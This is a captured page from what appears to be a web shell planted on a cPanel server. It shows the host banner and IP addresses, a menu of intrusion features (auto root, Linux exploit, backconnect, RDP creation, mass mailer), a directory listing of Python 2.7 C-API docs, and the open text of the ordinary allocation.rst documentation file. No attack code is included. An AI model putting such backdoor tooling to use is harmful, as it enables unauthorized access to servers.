Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.70.100.109
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python2.7 /
html /
_sources /
c-api /
[ HOME SHELL ]
Name
Size
Permission
Action
abstract.rst.txt
702
B
-rw-r--r--
allocation.rst.txt
4.68
KB
-rw-r--r--
arg.rst.txt
25.39
KB
-rw-r--r--
bool.rst.txt
1.27
KB
-rw-r--r--
buffer.rst.txt
22.43
KB
-rw-r--r--
bytearray.rst.txt
2.13
KB
-rw-r--r--
capsule.rst.txt
5.61
KB
-rw-r--r--
cell.rst.txt
1.89
KB
-rw-r--r--
class.rst.txt
1.82
KB
-rw-r--r--
cobject.rst.txt
1.83
KB
-rw-r--r--
code.rst.txt
1.6
KB
-rw-r--r--
codec.rst.txt
4.53
KB
-rw-r--r--
complex.rst.txt
3.98
KB
-rw-r--r--
concrete.rst.txt
1.92
KB
-rw-r--r--
conversion.rst.txt
6.93
KB
-rw-r--r--
datetime.rst.txt
6.26
KB
-rw-r--r--
descriptor.rst.txt
1.27
KB
-rw-r--r--
dict.rst.txt
7.58
KB
-rw-r--r--
exceptions.rst.txt
34.66
KB
-rw-r--r--
file.rst.txt
6.05
KB
-rw-r--r--
float.rst.txt
3.29
KB
-rw-r--r--
function.rst.txt
2.36
KB
-rw-r--r--
gcsupport.rst.txt
6.43
KB
-rw-r--r--
gen.rst.txt
920
B
-rw-r--r--
import.rst.txt
10.96
KB
-rw-r--r--
index.rst.txt
578
B
-rw-r--r--
init.rst.txt
48.01
KB
-rw-r--r--
int.rst.txt
4.47
KB
-rw-r--r--
intro.rst.txt
27.81
KB
-rw-r--r--
iter.rst.txt
1.36
KB
-rw-r--r--
iterator.rst.txt
1.75
KB
-rw-r--r--
list.rst.txt
6.27
KB
-rw-r--r--
long.rst.txt
7.99
KB
-rw-r--r--
mapping.rst.txt
2.81
KB
-rw-r--r--
marshal.rst.txt
3.89
KB
-rw-r--r--
memory.rst.txt
11.29
KB
-rw-r--r--
method.rst.txt
2.05
KB
-rw-r--r--
module.rst.txt
3.78
KB
-rw-r--r--
none.rst.txt
697
B
-rw-r--r--
number.rst.txt
11.66
KB
-rw-r--r--
objbuffer.rst.txt
2.46
KB
-rw-r--r--
object.rst.txt
17.08
KB
-rw-r--r--
objimpl.rst.txt
305
B
-rw-r--r--
refcounting.rst.txt
2.87
KB
-rw-r--r--
reflection.rst.txt
1.53
KB
-rw-r--r--
sequence.rst.txt
8.51
KB
-rw-r--r--
set.rst.txt
6.43
KB
-rw-r--r--
slice.rst.txt
2.91
KB
-rw-r--r--
string.rst.txt
15.06
KB
-rw-r--r--
structures.rst.txt
14.62
KB
-rw-r--r--
sys.rst.txt
5.58
KB
-rw-r--r--
tuple.rst.txt
5.83
KB
-rw-r--r--
type.rst.txt
2.7
KB
-rw-r--r--
typeobj.rst.txt
65.37
KB
-rw-r--r--
unicode.rst.txt
44.07
KB
-rw-r--r--
utilities.rst.txt
415
B
-rw-r--r--
veryhigh.rst.txt
13.05
KB
-rw-r--r--
weakref.rst.txt
2.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : allocation.rst.txt
.. highlightlang:: c .. _allocating-objects: Allocating Objects on the Heap ============================== .. c:function:: PyObject* _PyObject_New(PyTypeObject *type) .. c:function:: PyVarObject* _PyObject_NewVar(PyTypeObject *type, Py_ssize_t size) .. versionchanged:: 2.5 This function used an :c:type:`int` type for *size*. This might require changes in your code for properly supporting 64-bit systems. .. c:function:: void _PyObject_Del(PyObject *op) .. c:function:: PyObject* PyObject_Init(PyObject *op, PyTypeObject *type) Initialize a newly-allocated object *op* with its type and initial reference. Returns the initialized object. If *type* indicates that the object participates in the cyclic garbage detector, it is added to the detector's set of observed objects. Other fields of the object are not affected. .. c:function:: PyVarObject* PyObject_InitVar(PyVarObject *op, PyTypeObject *type, Py_ssize_t size) This does everything :c:func:`PyObject_Init` does, and also initializes the length information for a variable-size object. .. versionchanged:: 2.5 This function used an :c:type:`int` type for *size*. This might require changes in your code for properly supporting 64-bit systems. .. c:function:: TYPE* PyObject_New(TYPE, PyTypeObject *type) Allocate a new Python object using the C structure type *TYPE* and the Python type object *type*. Fields not defined by the Python object header are not initialized; the object's reference count will be one. The size of the memory allocation is determined from the :c:member:`~PyTypeObject.tp_basicsize` field of the type object. .. c:function:: TYPE* PyObject_NewVar(TYPE, PyTypeObject *type, Py_ssize_t size) Allocate a new Python object using the C structure type *TYPE* and the Python type object *type*. Fields not defined by the Python object header are not initialized. The allocated memory allows for the *TYPE* structure plus *size* fields of the size given by the :c:member:`~PyTypeObject.tp_itemsize` field of *type*. This is useful for implementing objects like tuples, which are able to determine their size at construction time. Embedding the array of fields into the same allocation decreases the number of allocations, improving the memory management efficiency. .. versionchanged:: 2.5 This function used an :c:type:`int` type for *size*. This might require changes in your code for properly supporting 64-bit systems. .. c:function:: void PyObject_Del(PyObject *op) Releases memory allocated to an object using :c:func:`PyObject_New` or :c:func:`PyObject_NewVar`. This is normally called from the :c:member:`~PyTypeObject.tp_dealloc` handler specified in the object's type. The fields of the object should not be accessed after this call as the memory is no longer a valid Python object. .. c:function:: PyObject* Py_InitModule(char *name, PyMethodDef *methods) Create a new module object based on a name and table of functions, returning the new module object. .. versionchanged:: 2.3 Older versions of Python did not support *NULL* as the value for the *methods* argument. .. c:function:: PyObject* Py_InitModule3(char *name, PyMethodDef *methods, char *doc) Create a new module object based on a name and table of functions, returning the new module object. If *doc* is non-*NULL*, it will be used to define the docstring for the module. .. versionchanged:: 2.3 Older versions of Python did not support *NULL* as the value for the *methods* argument. .. c:function:: PyObject* Py_InitModule4(char *name, PyMethodDef *methods, char *doc, PyObject *self, int apiver) Create a new module object based on a name and table of functions, returning the new module object. If *doc* is non-*NULL*, it will be used to define the docstring for the module. If *self* is non-*NULL*, it will be passed to the functions of the module as their (otherwise *NULL*) first parameter. (This was added as an experimental feature, and there are no known uses in the current version of Python.) For *apiver*, the only value which should be passed is defined by the constant :const:`PYTHON_API_VERSION`. .. note:: Most uses of this function should probably be using the :c:func:`Py_InitModule3` instead; only use this if you are sure you need it. .. versionchanged:: 2.3 Older versions of Python did not support *NULL* as the value for the *methods* argument. .. c:var:: PyObject _Py_NoneStruct Object which is visible in Python as ``None``. This should only be accessed using the ``Py_None`` macro, which evaluates to a pointer to this object.
Close